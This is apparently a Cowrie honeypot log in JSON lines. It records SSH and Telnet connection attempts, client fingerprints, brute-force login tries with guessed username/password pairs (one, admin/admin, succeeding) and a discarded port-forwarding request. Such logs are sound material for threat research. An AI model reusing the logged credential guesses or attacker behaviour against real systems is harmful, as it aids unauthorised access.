{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:00.962270Z","src_ip":"87.251.64.176","session":"7161fbc4a085","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:01.060019Z","session":"7161fbc4a085","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:01.159017Z","src_ip":"87.251.64.176","session":"7161fbc4a085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5184268951416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:01.260435Z","src_ip":"198.50.122.223","session":"c1bd2ff5ff1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:01.393716Z","src_ip":"87.251.64.176","session":"7161fbc4a085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.62102460861206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:01.424185Z","src_ip":"198.50.122.223","session":"a7907d344d42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.241214275360107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:02.137880Z","src_ip":"198.50.122.223","session":"59fe8baa832a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39654,"dst_ip":"10.17.0.5","dst_port":23,"session":"75368bedde68","protocol":"telnet","message":"New connection: 198.50.122.223:39654 (10.17.0.5:23) [session: 75368bedde68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:02.284914Z"}
{"eventid":"cowrie.session.closed","duration":31.16538906097412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:02.408412Z","src_ip":"198.50.122.223","session":"a1c41a053f7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28089141845703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:02.527816Z","src_ip":"198.50.122.223","session":"9559fa6ff585","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887742519378662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:02.698515Z","src_ip":"198.50.122.223","session":"6e2dd3c4c6c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.538784980773926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:02.737674Z","src_ip":"198.50.122.223","session":"2d74d826bdb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47552,"dst_ip":"10.17.0.5","dst_port":23,"session":"70a8249a8610","protocol":"telnet","message":"New connection: 198.50.122.223:47552 (10.17.0.5:23) [session: 70a8249a8610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:02.760730Z"}
{"eventid":"cowrie.session.closed","duration":31.93626832962036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:02.968380Z","src_ip":"198.50.122.223","session":"f9b339714db2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49026,"dst_ip":"10.17.0.5","dst_port":23,"session":"d763357cc1bf","protocol":"telnet","message":"New connection: 198.50.122.223:49026 (10.17.0.5:23) [session: d763357cc1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:02.988627Z"}
{"eventid":"cowrie.session.closed","duration":30.535353183746338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:03.237457Z","src_ip":"198.50.122.223","session":"a27a35a5ef19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.272682905197144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:03.266419Z","src_ip":"198.50.122.223","session":"64dc1eceb57e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05527901649475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:04.290627Z","src_ip":"198.50.122.223","session":"21065294cb59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869467735290527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:04.350570Z","src_ip":"198.50.122.223","session":"9087bbbe029a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567264556884766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:04.355494Z","src_ip":"198.50.122.223","session":"f6a9aaec6bdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44267463684082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:04.359906Z","src_ip":"198.50.122.223","session":"d0fc4bfb45a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.251338958740234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:04.383313Z","src_ip":"198.50.122.223","session":"ea7ec0b6bc3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.463828563690186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:04.894554Z","src_ip":"198.50.122.223","session":"1739d9202bc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.90700602531433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:04.924227Z","src_ip":"198.50.122.223","session":"5cdc5a8c8fb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573251724243164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:05.122151Z","src_ip":"198.50.122.223","session":"6453bcdb70c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69316577911377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:05.166630Z","src_ip":"198.50.122.223","session":"e89184e36439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.713213443756104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:05.197013Z","src_ip":"198.50.122.223","session":"9f6ed119b2dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59872,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc4b17cdbc8","protocol":"telnet","message":"New connection: 198.50.122.223:59872 (10.17.0.5:23) [session: 6bc4b17cdbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:05.205160Z"}
{"eventid":"cowrie.session.closed","duration":31.21813440322876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:05.209530Z","src_ip":"198.50.122.223","session":"eea7a4841c5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17934560775757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:06.439304Z","src_ip":"198.50.122.223","session":"ab1927228009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33130,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f3e9c35d16","protocol":"telnet","message":"New connection: 198.50.122.223:33130 (10.17.0.5:23) [session: 40f3e9c35d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:06.479608Z"}
{"eventid":"cowrie.session.closed","duration":30.67310070991516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:06.513046Z","src_ip":"198.50.122.223","session":"c56a5093885e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":36498,"dst_ip":"159.203.135.109","dst_port":22,"session":"f54a9d014f1d","protocol":"ssh","message":"New connection: 69.6.221.248:36498 (159.203.135.109:22) [session: f54a9d014f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:06.715976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:06.720754Z","src_ip":"69.6.221.248","session":"f54a9d014f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:06.833866Z","src_ip":"69.6.221.248","session":"f54a9d014f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"admin","message":"login attempt [sammy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:07.330589Z","src_ip":"69.6.221.248","session":"f54a9d014f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.0890691280365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:07.464632Z","src_ip":"198.50.122.223","session":"a41f7609348d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20211410522461,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:07.522867Z","src_ip":"198.50.122.223","session":"eff4828081c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270031690597534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:07.669982Z","src_ip":"198.50.122.223","session":"b325e22e05d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44990,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f6ebddd51ac","protocol":"telnet","message":"New connection: 198.50.122.223:44990 (10.17.0.5:23) [session: 8f6ebddd51ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:07.734711Z"}
{"eventid":"cowrie.session.closed","duration":30.718971252441406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:08.226281Z","src_ip":"198.50.122.223","session":"13a076b6b241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":37016,"dst_ip":"159.203.135.109","dst_port":22,"session":"db0ac7c79d90","protocol":"ssh","message":"New connection: 103.228.69.212:37016 (159.203.135.109:22) [session: db0ac7c79d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:08.321159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:08.325777Z","src_ip":"103.228.69.212","session":"db0ac7c79d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:08.446097Z","src_ip":"69.6.221.248","session":"f54a9d014f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82323670387268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:08.466706Z","src_ip":"198.50.122.223","session":"ec969f7b5bb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48156,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa7c7079cd12","protocol":"telnet","message":"New connection: 198.50.122.223:48156 (10.17.0.5:23) [session: fa7c7079cd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:08.521633Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:08.562082Z","src_ip":"103.228.69.212","session":"db0ac7c79d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49690,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfc6cc1229a0","protocol":"telnet","message":"New connection: 198.50.122.223:49690 (10.17.0.5:23) [session: cfc6cc1229a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:08.727136Z"}
{"eventid":"cowrie.session.closed","duration":30.95883059501648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:09.336020Z","src_ip":"198.50.122.223","session":"885a01cca08c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82106852531433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:09.347313Z","src_ip":"198.50.122.223","session":"0651cfa6f7ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.189993619918823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:09.443885Z","src_ip":"198.50.122.223","session":"927936753ebf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"password123456789","message":"login attempt [test/password123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:09.532947Z","src_ip":"103.228.69.212","session":"db0ac7c79d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.197221040725708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:09.746883Z","src_ip":"198.50.122.223","session":"fa627c3e3a78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56047,"dst_ip":"10.17.0.5","dst_port":23,"session":"50e84ba93334","protocol":"telnet","message":"New connection: 198.50.122.223:56047 (10.17.0.5:23) [session: 50e84ba93334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:10.014058Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56158,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eacd009f9ed","protocol":"telnet","message":"New connection: 198.50.122.223:56158 (10.17.0.5:23) [session: 5eacd009f9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:10.054418Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57466,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd656ac37466","protocol":"telnet","message":"New connection: 198.50.122.223:57466 (10.17.0.5:23) [session: dd656ac37466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:10.481919Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55178,"dst_ip":"159.203.135.109","dst_port":22,"session":"91c0c4e4557d","protocol":"ssh","message":"New connection: 159.203.92.129:55178 (159.203.135.109:22) [session: 91c0c4e4557d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:10.602144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:10.607290Z","src_ip":"159.203.92.129","session":"91c0c4e4557d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:10.611567Z","src_ip":"159.203.92.129","session":"91c0c4e4557d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"coolno!!!","message":"login attempt [apache/coolno!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:10.622224Z","src_ip":"159.203.92.129","session":"91c0c4e4557d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.752217054367065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:10.719363Z","src_ip":"198.50.122.223","session":"a5f7e007a9b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:10.770322Z","src_ip":"103.228.69.212","session":"db0ac7c79d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60730,"dst_ip":"10.17.0.5","dst_port":23,"session":"da1f4ddb2c0d","protocol":"telnet","message":"New connection: 198.50.122.223:60730 (10.17.0.5:23) [session: da1f4ddb2c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:11.078471Z"}
{"eventid":"cowrie.session.closed","duration":30.786125421524048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:11.504928Z","src_ip":"198.50.122.223","session":"06efda516095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:11.628057Z","src_ip":"159.203.92.129","session":"91c0c4e4557d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.921322345733643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:12.157164Z","src_ip":"198.50.122.223","session":"b89af3445755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892402410507202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:12.297925Z","src_ip":"198.50.122.223","session":"3db80c552444","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.364397764205933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:29:12.496084Z","src_ip":"198.50.122.223","session":"a442db39fe6a","protocol":"telnet"}
